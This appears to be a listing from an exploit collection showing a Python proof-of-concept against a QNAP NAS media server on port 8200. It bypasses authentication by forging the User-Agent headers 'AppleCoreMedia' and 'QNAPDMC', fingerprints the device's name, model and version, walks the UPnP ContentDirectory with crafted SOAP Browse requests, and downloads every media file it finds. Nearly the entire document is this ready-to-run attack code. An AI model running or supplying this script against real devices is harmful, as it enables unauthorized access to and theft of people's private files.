4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / PoC.py PY
#!/usr/bin/python3
# POC.py

import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse

from xml.dom.minidom import parseString
#from tqdm import tqdm

log = lambda x: print("\033[31m[+]" + "\033[37m"+x)

HOST = 'http://{0}:{1}'

session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}

def makedirs(path):
    if not os.path.exists(path):
        os.makedirs(path)

#
# GET TARGET INFO
#
def get_rootDesc(sess:requests.Session):
    res = sess.get(url=f"{HOST}/rootDesc.xml", headers=auth_bypass_header)
    obj = parseString(html.unescape(res.text))
    
    NAME = obj.getElementsByTagName('friendlyName')[0].firstChild.nodeValue
    MODEL = obj.getElementsByTagName('av:MODEL')[0].firstChild.nodeValue
    VERSION = obj.getElementsByTagName('av:VERSION')[0].firstChild.nodeValue
    
    log(f"TARGET NAME: {NAME}")
    log(f"TARGET MODEL: {MODEL}")
    log(f"TARGET QTS VERSION: {VERSION}")

#
# This Function Search Directory And Download All Files
#
def exploit(sess:requests.Session):
    header = auth_post_bypass_header.copy()

    header['Soapaction'] = "urn:schemas-upnp-org:service:ContentDirectory:1:#Browse"
    
    pay = """<?xml version="1.0" encoding="utf-8" standalone="yes"?>"""
    pay += """<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">"""
    pay += """<s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:{0}">"""
    pay += """<ObjectID>{1}</ObjectID>"""
    pay += """<BrowseFlag>BrowseDirectChildren</BrowseFlag>"""
    pay += """</u:Browse></s:Body></s:Envelope>"""
    
    res = sess.post(url=HOST, headers=header, data=pay.format(0, 0))
    obj = parseString(html.unescape(res.text))
    element = obj.getElementsByTagName('container')
    
    keys1 = {}
    for ee in element:
        dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
        log(f"FIND: {dir_name}")
        keys1[dir_name] = ee.getAttribute("id")
        

    keys2 = []

    for k,v in keys1.items():
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(v, v))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('container')
        
        for ee in element:
            dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {dir_name}")
            keys2.append([v, dir_name, ee.getAttribute("id")])
    keys3 = []

    for k in keys2:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))

        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('container')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            keys3.append([v, file_name, ee.getAttribute("id")])

    keys4 = []
    deps_key = []

    for k in keys3:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('item')
        element2 = obj.getElementsByTagName('container')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
            if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
                keys4.append([v, file_name, url, url.split("ext=")[1]])

        for ee in element2:
            deps_key.append(ee.getAttribute("id"))

    for k in deps_key:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('item')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
            if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
                keys4.append([v, file_name, url, url.split("ext=")[1]])

    makedirs('./Downloaded')

    for k in keys4:
        if "Transcode" in k[-2]:
            k[-2] = k[-2].replace("Transcode", "MediaItems")

    RETRY = []
    for k in keys4:
        URL = k[-2]
        res = sess.get(url=URL, headers=auth_bypass_header)
        if len(res.content) <= 0:
            RETRY.append([k[1]+k[-1], k[-2]])
            log(f'FAILED: {k[1]+k[-1]}')
            continue
        
        with open(f"./Downloaded/{k[1]+k[-1]}", 'wb') as f:
            f.write(res.content)
        log(f"SUCCESS DOWNLOAD FILE {k[1]+k[-1]}")
    
    for rr in RETRY:
        res = sess.head(url=rr[1], headers=auth_bypass_header)
        print(rr[1])
      

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='')

    parser.add_argument('--target', required=True, help='TRAGET ADDRESS')
    parser.add_argument('--port', required=False, default='8200', help='TARGET PORT\ndefault value is 8200')

    args = parser.parse_args()

    HOST = HOST.format(args.target, args.port)
    
    get_rootDesc(session)
    exploit(session)